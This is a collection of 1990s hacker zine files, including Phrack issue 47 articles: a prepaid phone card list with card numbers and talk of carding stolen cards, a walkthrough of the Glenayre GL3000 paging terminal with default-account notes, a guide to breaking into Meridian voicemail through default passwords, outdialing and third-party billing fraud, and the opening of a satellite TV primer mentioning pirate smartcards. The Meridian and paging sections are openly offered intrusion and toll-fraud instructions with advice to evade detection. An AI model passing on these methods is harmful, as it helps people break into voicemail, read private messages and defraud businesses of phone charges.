7-11 Phone Cards. It's supposed to save 50% or more than a LD collect call or
normal calling card. Obviously this is a big crock of shit. On the brochure
it shows a data table comparing a 3 minute call from LA to NY. It says a 7-11
Phone Card is $1.00, Collect Call is $3, a Payphone is $2.70, and a normal
calling card is $1.70. I know when I call LD it's only like 15 cents so a
minute, not this ripoff. They are available in 15, 30 or 60 minute cards.
I found a nice sales pitch on the brochure. It says "After your time is used
up, the card becomes inactive and you just buy a new card!" Yeah, right.
With this PCC you can call Int'l. One main clue is that one side of the
brochure is all in Spanish. But it says all calls must originate from within
the US. (So you can't give them to your German friends and say they're real
Calling Cards.) It warns you that since international rates vary a 15 minute
card could only be 5 minutes. They don't actually give you that amount of
time; it depends entirely on where you call. It's setup so you have a certain
amount of credit and once that's used, fuck how many minutes are left...your
time is up. Remember, when you want a 7-11 card it is always best to ask
for Habib-Jabib. I don't have any further info on these cards, like dialups
and shit.
Var-Tec Telecom, (10XXX = 10811) the new baby bell out of Texas, is
offering their version of PCCs called "Prepaid Phone Pass". You can
dial their automated service and enter a string of numbers to order the
cards. I know very little regarding this service, except you can order
cards specifically for Domestic or for International calls, or both.
Their automated service number is: [800] 583-8811. Once connected, enter
this string of numbers: 6, 2 then 1 (To Talk To Consultant) or 3
(For Orders).
PCCs are not only for LD; some people are actually collecting them.
No, not for any illegal services but as a hobby. People like them for their
pretty pictures of designs or special events. People are comparing this to
(*fun*) stamp and coin collecting. So if there is a demand for new styles it
must be found in a catalog, and I've found that catalog...for a price:
If you wish to order a 400 card catalog for $5 from :
Lin Overholt
PO Box 8481
Madeira Beach, FL 33738
You can also purchase a publication entitled
"International Telephone Cards"
by writing to :
29/35 Manor Road
Colchester, Essex CO3 3LX
Great Britain
Electronics Boutique, or EB for short, is offering PCCs with $5 worth
of LD on them. Dialup is [800] 233-1363 with 9 digits PIN. I know very,
little regarding these.
Shit From Al K. Lloyd [4o4]. Slightly Modified of course.
Since I've started collecting these suckers,
here's some other prepaids for you guys (Treason)
to add to the file in BTR:
- AT&T/Knights Inn [800] 357-PAID(7243) - 9 digits
Customer Service is [800] 462-1818
Glossy cardboard cards in 15 or 25 "units"
These are sold at the hotel chain
- PrimeCall [800] 866-6915 - 14 digits
But try starting with 407-xxxx-xxxx-xxx (just a hunch)
Customer service [800] 938-4949
Card is plastic in $10 and $20-I think only one design w/a bunch of flags
on it; these guys are going for the international crowd (oddly enough,
these are the only ones I've seen dispensed from a machine)
- Western Union [800] 374-8686 - 8 digits
These guys charges are ridiculous--try them 1st...
Customer Service is [800] 374-8686; the cards are thin cardboard to
boot-$10, $20, or $50
- Caber Communications [800] 868-9871 - 10 digits
Caber/Talk Lite [800] 429-9547 - 10 digits
Customer Service is [800] 716-2444 or [404] 876-2444 (local to me)
Some of the nicest cards I've seen; $5, $10, and $20
Fairly good rates considering what there is to pick from (like Western
Union)
These things keep popping up like mushrooms...
Caber's rates just look good compared to Western Union :>
Revco Talk n' Toss is the cheapest I've found so far...
only available here in 10, 30, and 100 min. To my knowledge.
Second cheapest is:
Transcommunications, Inc.
Transcard
800-326-4880 11 digits
800-772-7293 Customer Service
Cards are also available in Spanish, in $10 & $20 denominations
(not marked on the card, cards can be recharged by CC @ 800-772-7293.)
I found this at a Conoco gas station; according to their C.S. they're
also available at various truck stops, Pilots, Kangaroos, and a bunch more.
I tell ya, I run into a new one of these every time I turn around...
Caber has sales reps that go to immigrant stores to unload the cards. They
carry their inventory in business card folders that seem to carry 46 cards
or so. If a folder got stolen, there is no way to tell who bought which card,
unless it was a fresh folder (in which case they'd just notify the Co.).
Caber Communications has 2 different kinds of cards, Caber and
Talk Lite. I'll categorize these by line and amount. (The following are
no longer valid cards.)
General Info
~~~~~~~~~~~~
I noticed some stuff in the Sunday coupon section. Some food company is
giving 10 minute cards if you send in proofs of purchase; so is Polaroid
(with a nifty hologram kard).
More Cards
~~~~~~~~~~
- Revco Talk N' Toss - $?? - 128-341-864 - Dialup - See Separate Review
- Sprint PCC's - $10 - 403-398-8344 - Dialup - 800-659-1010 -
[- You can try to find algorithms with those -]
Yet another:
Sprint Instant Foncard
800-659-1010
10 Digits
800-366-0707 Customer Service
Available in $5, $10, $20, and $50.
Have you noticed just how *nice and helpful* the customer service people are?
As far as PCC's go, I noticed on 4 or 5 of mine that all of the numbers were
divisible by 33... Maybe there's some sort of algorithm that controls the
numbers on these cards. This particular case was an MCI/NBC sweepstakes, each
card giving 10 minutes...
Another thing to wonder about when "carding" these cards: Sooner
or later, someone must notice people carding. So, do they track
these cards or anything? Or do you just have to use them short-term,
etc...? To anyone that works for a convenience store: what's the
policy on stolen cards? Do you report them to AT&T or whomever as
stolen? Give them numbers? And what follow up is done?
Recently in a trip to Boston [617] I was at a magazine stand. After
I put down the newest Hustler I saw a rack of brochures from a service
called "Worldcall 2000 - The World's Most Advanced Prepaid Telephone
Service." Since I was working on this text, I thought I'd pick
it up for some info.
Their cards some in $10, $20, $30 and $50 telephone card increments.
They also have service available in 10 different languages, although what
languages I don't know. They have international and domestic dialing
capabilities with cheap rates. Plus, they have a built in VMB with forward
messaging and recharge capability. The customer service department is
[800] 576-8522.
Here's what you do: Dial [800] 576-9959, enter the PiN, then for a domestic
call, dial 1+ACN; for international dial 011+Number. If you fuck up,
just hit "*" to enter another number. To make another call when you're
done just hit "#". That's a rather sweet feature. (This is from AT&T.)
Here's a first: Recently at a local book store I was reading the new
issue of Fangoria. In it, I saw an add for Freddy Krueger PCCs!
(you know the man...) "Bullshit," I thought. They come in 4 different
cards, each with a new fun, gruesome decapitation by my man Freddy. Then
the biggest bullshit of all: "Good For Making Local Calls." These
cards are only available in 15 minute cards. Plus they're $14.95 + $x.xx
shipping and handling. I don't know any more about them than that.
Drug Emporium is offering a $10 card with a total value for up to 25
minutes. You can call both domestic and international. The number is:
[800] 866-7495. One that I have already used is 2105-253-835, therefore they
are 10 digits.
I hear that Taco Bell has some awesome prepaids too. I'll look into that
for you. Also a friend of mine, ViRuS?, (with the question mark) who runs
DCi has an algorithm for a prepaid, TLI or something like that... I have to
deliver some files to him so I'll ask about it.
... Ante
Other
~~~~~
Ordering GTE Football Cards [800] GTE-3804 - Ordering GTE Football Cards
Ordering GTE In 303 NPA [303] 743-4138 - See Up + From Outside US
Ordering GTE In 303 NPA Fax [303] 727-4994 - Faxing Orders For GTE Footballs
Talk n Toss/Revco/CS [800] 354-2708 - Customer Service
Talk n Toss Customer Service [800] 631-8895 - Ordering Bulk
Var-Tec Telecom [800] 583-8111 - Ordering Prepaid Phone Pass
Caber Customer Service [800] 716-2444 - Customer Service
Caber Customer Service [404] 876-2444 - Customer Service
Primecall Customer Service [800] 938-4949 - Customer Service
Western Union CS [800] 374-8686 - Customer Service
AT&T/Knights Inn CS [800] 462-1818 - Customer Service
WorldCall 2000 CS [800] 576-8522 - Customer Service
Transcard CS [800] 772-7293 - Customer Service
Sprint Instant Foncard [800] 366-0707 - Customer Service
------------------------------------------------------------------------------
ThE EnD
For More Information Contact The Author Over The Internet At :
: treason@fpg.gcomm.com :
Leave, Suggestions, Ideas, More Information and Collective Criticism
"We Are The Damned Of All The World..."
- Megadeth
------------------------------------------------------------------------------
..........................
. - by - .
. Treason [518] .
. [PAiN] .
..........................
./\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\.
.--=]] NoDE 1 Call Another Way Of Life BBS 518.383.1369 NoDE 1 [[=--.
.\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/.
./\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\.
.--=]] NoDE 2 Call Another Way Of Life BBS 518.383.o268 NoDE 2 [[=--.
.\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/.
==Phrack Magazine==
Volume Six, Issue Forty-Seven, File 14 of 22
The Glenayre GL3000 Paging and Voice Retrieval System
by armitage
(armitage@dhp.com)
Welcome
-------
I am glad you decided to read this article. This article will explain
the basis of what this system is, show many features, and guide you through
a few basic operations (pager reactivation, and meet-me setup). This system
is one of many different paging systems, but I have found many scattered
through the nation, so if you are wondering what you can do with all those
carriers found while scanning, compare them to the login screen shown later
in the article.
Summary
-------
The Glenayre GL3000 paging and voice retrieval system is a fully featured
digital radio paging terminal which also provides integrated voice mailbox
facilities.
I'm sure this is not important, but so you know, the gl3000 family comes
in 5 different respective sizes (es, s, m, l, and xl). All of the systems
have same features except the only thing that differs is their bandwidth, and
their capabilities.
Analog and digital paging formats are supported, it provides for tone only,
voice, numeric, and alphanumeric paging.
Features
--------
Voice Mail Box Features
-----------------------
The voice mail box feature of the system complements the pager router
system very nicely. This voice mail system is just like any other, so I
won't go into detail over it.
Programming
Mailbox access code
Main menu : 1
Subscriber Information Menu : 1
Search for subscribers to edit/create
Meetme access code
Supervisors Main Menu : 5
System Setup Menu : 3
Trunk Setup Menu : 11
Meet-me parameters
Audio Billboard
Supervisors Main Menu : 5
System Setup Menu : 9
Voice Storage and Mailbox Setup Menu : 2
Voice Mailbox Setup parameters
Pager Alert
Supervisors Main Menu : 5
System Setup Menu : 3
Trunk Setup Menu : 10
Caller Notification Message Setup
Voice Main Menu Hierarchy
-------------------------
Supervisor's Main Menu
1 < Subscriber Information Menu
1 < Edit/Create Subscribers
2 < Delete A Subscriber
3 < Report Subscriber Information
4 < Report Extended Group Members
5 < Report Unused Customer Numbers
6 < Report Initialized Centirecords
7 < Stop Current Report in Progress
8 < Send Test Page
9 < Block Change Subscribers
10 < Delete Several Subscribers
11 < Clear Subscriber Call Statistics
12 < Report Pager Type Summary
13 < Block Create Subscribers
2 < User Number Information
3 < System Activity Monitoring and Logging Menu
1 < Trunk Status & Activity Monitor
2 < UOE Status & Activity Monitor
3 < Buffer Memory Status & Activity Monitor
4 < Transmit Queue Status Activity Monitor
5 < Voice Storage Usage Activity Monitor
6 < Voice Storage Report Setup
7 < Voice Storage File Activity Monitor
8 < Activity Logging Setup
9 < Activity Logging Monitor
10 < Subscriber Database Information
11 < System CPU Activity Monitor
12 < Memory Pool Status Monitor
13 < RTC Status & Activity Monitor
14 < RTC Diagnostic Console
4 < System Maintenance Menu
1 < Save Database and System Setup Parameters to floppy
2 < Add Customer Numbers
3 < Remove Customer Numbers
4 < Change Customer Numbers
5 < System Setup Menu
1 < System Parameters
2 < Subscriber Setup Menu
1 < Subscriber Default Parameters
2 < Subscriber Reports Default Parameters
3 < Trunk Setup Menu
1 < Individual Trunk Parameters
2 < Trunk Group Parameters
3 < Trunk Card Parameters
4 < Common Trunk Parameters
5 < Common Trunk Statistics
6 < Common Trunk End of Call Parameters
7 < Roaming Caller Location Code Setup
8 < Digital Trunk Card Alarm Parameters
9 < Digital Trunk Address Signalling Protocol
10 < Caller Notification Message Setup
11 < Meet-me Parameters
4 < Buffer Memory Setup Menu
1 < Individual Buffer Memory Parameters
2 < Common Buffer Memory Parameters
5 < Universal Output Encoder (UOE) Setup Menu
1 < Individual UOE Parameters
2 < Common UOE Parameters
3 < UOE Test
6 < Transmitter Controller Setup Menu
1 < Individual Transmitter Controller Parameters
2 < Common Transmitter Controller Parameters
7 < Page Routing Setup Menu
1 < Logical Area Parameters
2 < Coverage Region Parameters
8 < Printer and Serial Port Setup Menu
1 < Serial Port Configuration Parameters
2 < Printer Message Parameters
9 < Voice Storage and Mailbox Setup Menu
1 < Voice Storage Setup Parameters
2 < Voice Mailbox Setup Parameters
3 < Voice Mailbox Retrieval Mode Key Translation Map
4 < Language Syntax Configuration
10 < Pager Parameter Setup Menu
1 < PUP/Repeat Page Options
2 < PUP/Repeat Page Function Code Setup
3 < Voice To Alpha Transcription Setup
4 < Numeric/Voice Function Code Setup
11 < RTC Port Configuration Parameters
6 < Remote Sign-on
7 < Network Menu
1 < Operator Services Menu
1 < Netmail Transmission
2 < Netmail Configuration
2 < Network Setup Menu
1 < Common Network Parameters
2 < Network Port Configuration Parameters
3 < Network Node Configuration Parameters
4 < Frequency Code to Coverage Region Map
3 < Network Activity Menu
1 < Port Status and Activity Monitor
2 < Node Status and Output Queue Activity Monitor
8 < Traffic Statistics Menu
1 < Statistics Parameters
2 < Report Statistics
9 < Superhex Patch Screen
Operations
----------
*** Quick Reference Key Usage***
- Deletes character to the left - Re-draws Screen
UP - Moves pointer up
DOWN - Moves pointer down
System Menus and Options - Navigating the System
--------------------------------------------------
***Changing Subscriber Info***
Screen Shot Below
-----------------------------------------------------------------------------
GLENAYRE GL3000 PAGING TERMINAL Version 3.06
1. User Number:________
2. Password:
Optional Feature Status
Agency: ON
Networking: ON
RTC: ON
Meet-me: ON
Software Creation Date: MMM DD/YY HH:MM:SS
Command:
-----------------------------------------------------------------------------
Logging in is the first step, as you can see you are prompted for a user
number and password. The Default for every account is unpassworded, the
password does not echo on the screen.
Please Note that the menu options are configured by the access level of your
account, (for example, an administrators account will have more options than
a base operators account). The Menus displayed in this article account that
a supervisors account is being used.
1. Subscriber Information Menu
2. User Number Information
3. System Activity Monitoring and Logging Menu
4. System Maintenance Menu
5. System Setup Menu
6. Remote Signon
7. Network Menu
8. Statistics Menu
9. SUPERHEX Patch Screen
Currently Signed On: User 1
System Supervisor
Command:_________
-----------------------------------------------------------------------------
This is the Main menu of the system. On a normal operators account, not all
of the options will be available.
*** To Add (Reactivate a pager) ***
You want to is Add or "Create" a subscriber. Go to menu 1 (Subscriber
Information Menu).
It is important at this point, not to enter information into any field other
than field number 1, as after you enter the customer number, you enter the
other information later.
If you are entering a new subscriber, you want to enter a customer number
that is not being used. There will be a record number in the top left to
show you which records are being used. In this example we will use number 1.
So enter the new number and then . The type CREATE into
the command line.
Record 1 of 900 SEARCH FOR SUBSCRIBER TO EDIT/CREATE Page 1 of 2
1. Customer Number: 1____ 17. Language Choice: ENGLISH
2. Partition: A 18. Answer Type: SYS 216
3. Agency Number: 0 19. Custom Answer: YES
4. Encoding Format: TWOTONE 20. PUP/Repeat Option: NO
5. Service Type: VOICE 21. Group PUP Option: NONE
6. Capcode: 000001F1 22. Repeat Voice: 3
A=0 B=0 23. Mailbox Type: VOICE
24. Purge Time (Hrs): NO PURGE
7. A-Tone Length: 8 25. Maximum Messages: 10
8. B-Tone Length: 16 26. Voice Time: 8
9. Account Number: 4 27. Activate Caller Pwd: YES
10. Account Status: 3 28. Access/Caller Pwd: ####/####
11. Account Code: 7 29. Autoretrieval: NO
12. Valid: YES 30. Meet-me: NO
13. Customer Absent: NO 31. Secondary Number:
14. Coverage Region: 1
15. Priority: 5
34. Extended Group: NO
35. Sort Field #1: 37. Sort Field #2:
36. Sort Order #1: 38. Sort Order #2:
Command:
-----------------------------------------------------------------------------
The values that are filled into this screen are the defaults that were set
by the supervisor. Provided you have all the technical information on
the inactive pager you have, you will transcribe the pager's technical
information into this record.
List of fields
Field 1 - Customer Number
Customer number, you may not use wild cards.
Field 2 - Partition
Any Partition Letter may be used. ['A'..'Z'] or a NOT sign followed
by a partition letter.
Field 3 - Agency Number
You may use any search conditions except wild cards.
Field 4 - Encoding Format
Any encoding format name, or a not sign followed by an encoding
format.
Field 5 - Service Type
You may use any service name, or a not sign w/service type name.
Service Names
VOICE
TONE-ONLY
NUMERIC
ALPHANUMERIC
NUMERIC/VOICE
MAILBOX ONLY
ROAMER
0 TONE ONLY
GREETING
ALPHAMAIL
TAS
MEET-ME
AUTORETRIEVAL
Field 6 - Capcode
You may use wild card characters to replace digits.
Field 7,8 - A,B-Tone Length
You can use any search but the wild card search.
Field 9 - Account Number
You can use any search but the wild card search.
Field 10 - Account Status
You can use any search but the wild card search.
Field 11 - Account Code
You can use any search but the wild card search.
Field 12 - Valid
YES or NO (valid/invalid account number)
Field 13 - Customer Absent
YES or NO (absent customer or not)
Field 14 - Coverage Region
You can use any search but the wild card search.
Field 15 - Priority
You can use any search but the wild card search.
Field 16 - Trace Calls
YES or NO
Field 17 - Language Choice
Simply enter a language of choice.
Field 18 - Answer Type
Use any search.
Field 19 - Customer Answer
YES, NO, INSERT, or APPEND
Field 20 - PUP/Repeat Option
Field 21 - Group PUP Option
Field 22 - Repeat Mailbox
You can use any search but the wild card search.
Field 23 - Mailbox Type
You can enter:
NO MAILBOX
VOICE
NUMERIC
BOTH
Field 24 - Purge Time (Hrs)
You can use any search.
Field 25 - Maximum Messages
You can use any search but the wild card search.
Field 26 - Voice Time
You can use any search but the wild card search.
Field 27 - Activate Caller Password
YES or NO
Field 28 - Access/Caller Password
Field 29 - Autoretrieval
YES or NO
Field 30 - Meet-me
YES or NO to have this subscriber given access to meet-me features.
Field 31 - Secondary Number
You can use any search but the wild card search.
Field 34 - Extended Group
YES or NO
Now we will move on to the second page of the Section
Record 1 of 900 SEARCH FOR SUBSCRIBER TO EDIT/CREATE Page 2 of 2
Extended Group Members
81. Customer Number: 41. System Recording:
82. Customer Number: 42. Empty Data Pages:
83. Customer Number: 43. Primary Numbers:
84. Customer Number:
85. Customer Number:
86. Customer Number:
87. Customer Number:
88. Customer Number:
89. Customer Number:
90. Customer Number: Statistical Fields:
91. Customer Number: 51. Number of Calls
92. Customer Number: 52. Mailbox Storage
93. Customer Number: 53. Character Count:
94. Customer Number: 54. Meet-me Time (mins):
95. Customer Number: 55. Date Created:
96. Customer Number: 56. Date Altered:
Command:
-----------------------------------------------------------------------------
This page has little significance besides if you are using extended group
members. The one thing that is important is field 56. Look out.
1. Subscriber Information Menu
2. User Number Information
3. System Activity Monitoring and Logging Menu
4. System Maintenance Menu
5. System Setup Menu
6. Remote Signon
7. Network Menu
8. Statistics Menu
9. SUPERHEX Patch Screen
Currently Signed On: User 1
System Supervisor
Command:_________
-----------------------------------------------------------------------------
First you want to go into choice "5", The System Setup Menu.
1. System Parameters
2. Subscriber Setup Menu
3. Trunk Setup Menu
4. Buffer Memory Setup Menu
5. Universal Output Encoder (UOE) Setup Menu
6. Transmitter Controller Setup Menu
7. Page Routing Setup Menu
8. Printer and Port Setup Menu
9. Voice Storage and Mailbox Setup Menu
10. Page Parameter Setup Menu
11. RTC Port Configuration Parameters
1. Length of Time to Play Initial Ring(s):
2. Wait Time Before Sending Meet-Me Page(s):
3. Meet-Me Help Message Interval(s):
4. Maximum Number of Meet-Me Help Message(s):
5. Tone Played While Waiting for Meet-Me:
6. Disable Disconnect Digital During Connection:
7. Meet-Me Maximum Hold Time (min):
8. Maximum Simultaneous Meet-Me connections:
9. Prompt for Access Code Before Meet-Me:
Command:_________
-----------------------------------------------------------------------------
There is online help to guide you to conduct this meet-me. So go with the
system on this one.
Glossary of Terms
-----------------
I have listed some terms you might have trouble with while you are
playing around with this system, this is nowhere near as many as there are,
but the most vital are listed below.
Address - 1. The telephone number dialed by a calling party which identifies
the party called. 2. A location or destination in a computer
program.
Bell 103 - The North American standard for 300 bps modems.
Bell 212A - The North American standard for 1200 bps modems.
Blocking - The process of grouping data into transmission blocks. The
inability of a pabx to service connection requests, usually because
its switching matrix can only handle a limited number of connections
simultaneously. Blocking occurs if a call request from a user
cannot be handled due to an insufficient number of paths through the
switching matrix; blocking thus prevents free stations from
communicating.
Borscht - Acronym for the functions that must be performed in the Central
office at the subscriber's analog interface of a digital system.
(battery, overvoltage, ringing, supervision, coding, hybrid, and
test)
Broadband - A communication system with a large bandwidth.
Channel - Electronic communications path, usually of 4,000 Hz (voice)
bandwidth.
Crossbar - A type of telephone switch.
Crossbar Switch - (In PABX technology) a switch that has multiple vertical
paths, multiple horizontal paths, and electromagnetically operated
mechanical means for connecting any vertical path with any
horizontal path. Modern PABXs often use an electronic version of
the crossbar switch.
Data - In phone systems: any information other than speech or tones.
Data Set - The telephone companies term for a modem.
Decoder - A device that converts information into another form of signals.
(A DTMF decoder converts dtmf tones to numerical dtmf values)
Dial Long Line - Special Service device which extends loop signalling
distance.
Digital - Variable as opposed to constant. Data characters are coded in
discrete, separate pulses or signal levels. Contrast with Analog.
Duplex - Simultaneous two-way independent transmissions in both directions.
Echo - A faint return of transmitted data.
ESS - (Electronic Switching System): A telephone switching machine using
electronics, often combined with electro-mechanical crosspoints,
and usually with a stored program computer as the control element.
FCC - (Federal Communications Commission): A government agency that monitors
and regulates all use of the electromagnetic spectrum for
communications.
Handshake, Handshaking - A preliminary process that is part of a
communications protocol that establishes a data connection.
Interface - The connection between two separate and distinct mechanical or
computerized systems.
Interoffice Trunks - Shared facilities connecting CO switches.
Link - A communications circuit.
Local CO - Central office (end office) capable of switching calls between
local subscriber circuits.
Local Loop - The voice-band channel connecting the subscriber to the central
office.
Logging - Recording data associated with a system.
Multiplexing - The division of a transmission facility into two or more
channels.
Network - An interconnection of computer systems, terminals, or data
communications facilities.
Parameters - Variables designed for system uses.
Port - A computer interface capable of attaching a communication protocol.
PBX or PABX - (Private Branch Exchange) A system providing
switching in an office or building.
Voice PABX - Voice only PABX for voice circuits.
----------------
I hope you could use this information. If anyone has any questions
or comments, or is wondering if they can get manuals to this system somehow,
please feel free to email me, I will assist you as much as my schedule will
allow. I would like to thank erikb for telling me to write this, abstract
thought for pointing out all my spelling errors among other things, panzer
for everything he has done, and all the dc hackers.
Knowledge is the nemesis of all evil, Digital Anarchy!!!
Later, and remember to always cover your tracks in anything you do.
Armitage
armitage@dhp.com
finger/email for PGP key if desired.
==Phrack Magazine==
Volume Six, Issue Forty-Seven, File 15 of 22
Substance's Complete Guide To Hacking Meridian Mail Systems (VMB) [PART 1]
--------------------------------------------------------------------------
Feb 1st, 1995 --Made for Phrack
Introduction To Meridian Mail Box Systems
By Substance @ Another Way of Life [hpavc] 518ъ383ъ1369
NOTE1: In case you didn't know VMB stands for Voice Mail Box
NOTE2: This is the information that I have gathered from hacking
Meridians, and is not guaranteed to be 100% accurate
NOTE3: Disclaimer : There is none, I did this article to encourage people to
go and fuck around with Meridians, so sue me.
------------
Introduction
------------
Before we begin, Let's shed a little light on the subject of Meridian. This
is one of my favorite VMB systems to hack, because:
Number 1 : There are many Meridian VMB Systems throughout the country, in
-------- 800 exchanges and numbers local to you. You can bet that there
are at least 10 - 15 different corporations using Meridian
throughout your area code
Number 2 : (The Most Important by far.) Almost ALL Meridian mails
-------- use the Mail Box number as the default password. (Unless changed
manually)
Number 3 : About 95 percent have outdialing features. Most don't have long
-------- distance access, but this can still be very useful for diverting
calls, and getting free calls in that area code.
Ok, enough light shed on the matter. Let's get to identifying and hacking
those fuckers!
--------------------------
Identifying Meridian VMB's
--------------------------
Most Meridian VMBs just come right out and say exactly what they are. I'd
say about 8 out of 10 will just come out, right after it answers and say:
"MERIDIAN MAIL"
"MAILBOX?"
or just
"MAILBOX?" (it is ALWAYS a female computer [digitized] voice)
Half the time you will only hear "RIDIAN MAIL". (This must be caused by
a timing bug in Meridian.) Once you hear that, write the # down, since
it may be useful in the future for such things as 3rd party billing
(more on that later), as a code line or just as a personal VMB. If you know
for a fact (or a guess in that matter) that this is a Meridian mailbox but
when you call it, it just says 'Leave a message' or has someone actually
talking instructing you to leave a message, then you have reached what might
be a direct VMB line. These are usually numbers people pay more money for, that
will give them a direct 800 number instead of going through the "mailbox #"
part.
These are the best, but probably the hardest to hack, because even though
(according to a recent poll) about 70% of people are stupid enough to leave
their mailbox number as their password, if you are serious and want to
pay that much for a direct line, you are probably going to change the
password. Even though I have seen many that do have the default, the
odds are against it.
Ok back to the point. If you find a direct VMB, call all the numbers around
it, because chances good are that you will find the system that just asks
for a box number, very close. I would recommend about +50 numbers and -50
numbers and you'll find the root system. You will also find many other
direct boxes in your quest.
NOTE: The ROOT SYSTEM is the number you call and simply hear 'MAILBOX' or
'MERiDiAN MAiL'
Another thing to remember is that you have to find out how many digits your
mailbox #'s are going to be. The number of digits I've seen in my career
differs from about 2 digits (rare) to 6 (also fairly rare). The most likely
# of digits it will probably have is 4, or 5... Call your VMB and when it asks
for mailbox #, hit '111#' (Note: You ALWAYS have to end a command on a Meridian
mail system with an '#') if it says (with a quick response) 'INVALID box #'
then try a 4 digit code. Sometimes (yeah, I know it sucks) you will
have to fuck around for a while before you can tell how many digits, or even
worse you may never know, and have to keep alternating #'s of digits, until
you hit a valid box.
Hacking The Fuckers:
First off, think of what you are going to record as an outgoing message before
you go and hack it. Decide if this should be a code line, or a personal VMB,
or... Both? Here are the first default boxes you should try before dialing
random ones:
If boxes are 4 digits, add a trailing number. If you don't know the length,
mess around a while, you'll get one.
If you call someone's direct VMB and you hear a message like "You have
reached So&So's VMB please leave a message, and I will return your call as
soon as possible" there are a few ways to transfer to a different mailbox.
Try simply hitting #, that might just hang up on you, unfortunately.
Call back try hitting *. When you hear 'MAiLBOX' you just struck home.
Try entering 123#.
Now, a few things can happen. Either:
1 It will transfer you to 123's mailbox
2 It will say invalid mailbox, or simply 'MAILBOX' again
3 It will say Password
When you hear 123's mailbox you can try and hack it by hitting *, and hope
it will ask 'PASSWORD?' If it doesn't then you can't do much with this
system except leave messages for that person (What Fun). If it does ask
"PASSWORD?" then try the box # as the default password. (On your quest for a
valid VMB you will find that MANY MANY people are total fucking morons
and keep their password at the default) others will make it something easy to
remember like 123# or 111# etc. etc. etc. If the password is not the Default
then just write this number down in a notebook and move on.
If all else fails and you can't figure out how to get to the MAILBOX prompt you
should call all the #s around the one you found to try and find the root
system.
If you get in, (with the default or otherwise) it will probably say:
'MAILBOX EMPTY' or 'YOU HAVE n MESSAGES'
If you press 7* it will reply with:
Message option 0 (unknown at this time)
Reply 1 (used to reply to a previous message)
Play envelope 2 (unknown at this time)
Forward 3 (Forward your mail to another box)
Reply all 4 (Reply with a multi-mail)
compose 5 (send multi-mail)
delete 6 (used to delete mail [duh])
send 9 (sends single mail [must have mailbox number ready)
if you press 8* it will reply with:
Mailbox options 0 (Changes operator code (not useful)
login 1 (Gives you the option to transfer mailbox's)
greeting 2 (Can change greeting (internal & external)
logoff 3 (Kicks you off the system)
password change 4 (Changes VMB password [verifies 2x]
distribution list 5 (Not useful)
goto 6 (Takes you back to 'MAILBOX EMPTY'
Personal verification 9 (Lets you record a name for personal verify)
to exit press # (logoff)
This is not all very useful, the most you can do with these commands is listen
to people's mail (which can be fun), and/or take it over for your own code line
or personal VMB. The whole point of hacking Meridians is the outdial function.
Once you have successfully gotten into the VMB dial '0*' (Zero-Star).
It should say:
'YOU HAVE REACHED A SYSTEM THAT WILL CONNECT YOU TO THE NUMBER THAT YOU ENTER.
PLEASE ENTER THE NUMBER OR THE NUMBER OR THE NAME OF THE PERSON YOU WISH TO
REACH. PRESS 11 FOR A NAME, SPELL THE LAST NAME THEN THE FIRST NAME blah,
blah, blah.'
This is the jackpot. With this you can call ANYWHERE (hopefully) for free, any
time (unless the VMB has hours [...some do...]) To dial out, try this first:
just dial a local number (ex 432-1342#)
>From there it may beep and say 'THAT # CANNOT BE REACHED' or it may connect
you. If it connects you, great! You just found an untraceable way of hacking!
Call back and try 1-npa/xxx-yyyy (if that works, then abuse the hell out of it
as soon as possible, because it wont last for long :) ) If those two methods
don't work try these.
9+1+npa/xxx-yyyy (works most of the time)
8+1+npa/xxx-yyyy (not probable)
0+1+npa/xxx-yyyy (Possible)
9+xxx-yyyy
8+xxx-yyyy
0+xxx-yyyy
If none of those work, then you're shit out of luck. Use it for a code line.
If it did work, think of the possibilities, 900 numbers (for gaining access
to boards), Tons of free LD, untraceable calls............
On to the last subject of part 1.
------------------------------
Another Way To Make Free Calls
------------------------------
Sorry, this only works on Direct VMB's, sometimes only the ones in your local
exchange, its a long shot, but hell, its free. (But don't do this from your
home phone, stupid.)
Change the outgoing message on the direct VMB to 'Operator, this number accepts
all collect and 3rd party billings' Call up the operator and ask for AT&T,
once they come on tell her you would like to make a 3rd party billing. Tell
her the number you're billing to is the VMB #, then tell her the number you
wish to call. She'll say, "wait," AND a few moments later she'll come back
and say they accepted. Presto! You're in!
If you get busted, say you read a text file on how to do it, you didn't think
it would work... (act innocent, alwayz worked for me :)
You can leave me comments, suggestions or threats at my VMB
(not a Meridian currently) *(800)775-0728* (direct)...
-substance
[EOF]
==Phrack Magazine==
Volume Six, Issue Forty-Seven, File 16 of 22
[Editor's Note: This info and much more can be obtained from
American Hacker Magazine, 3494 Delaware Ave., #123, Buffalo, NY 14217.
716-874-2088 (voice/fax) 716-871-1915 (bbs) snews@buffnet.net
$29.95 for 12 issues, including BBS access. I you are into satellites,
you might want to check this out!]
DBS Primer (c) Scrambling News (TM) 1995
Preface
This text lacks the photos and schematics which accompanied
the article when it appeared in our newsletter. Constructive
criticism, corrections, and suggestions for information which
should be added are all welcome. We are snews@buffnet.net
or 716.874.2088. As always we include information regarding
gray and black market activity involving the RCA system. The
big news is that we expect a pirate smartcard to become
available soon. There is more information about that later in
the second part of this article.
Brand names and trademarks are used herein for identification
purposes only and are the property of their respective owners.
Use of same within this document definitely does not imply agreement
with or endorsement of the material presented. Information
published by Scrambling News is intended for educational and
entertainment purposes only and must not be used for any other
purpose.
Introduction
We in the middle of an advertising blitz by RCA, DirecTV, USSB
and Prime star announcing that the age of digitally delivered
entertainment has arrived. Major newspapers, magazines and
cable channels are saturated with commercials featuring the
new RCA DSS 18 inch satellite dishes and all media have done
their job to promote the new systems.
It is true that we are in the middle of a revolution. Other
small dish satellite systems are in the development stage,
the telco's are getting into the cable business, cable is
testing interactive services, and C/Ku-band satellite TV has
been around since the late '70s but it too, is in transition.
In this article we will focus on some aspects of the new
DirecTV 18 inch dish system. We covered the Videocrypt
encryption system in a previous article.
GM Hughes DirecTV is a venture involving GM's Delco
Electronics and Hughes Aircraft. The two have put about
$750 million into the business while Hubbard Broadcasting,
a service provider has added $150 million, including $25
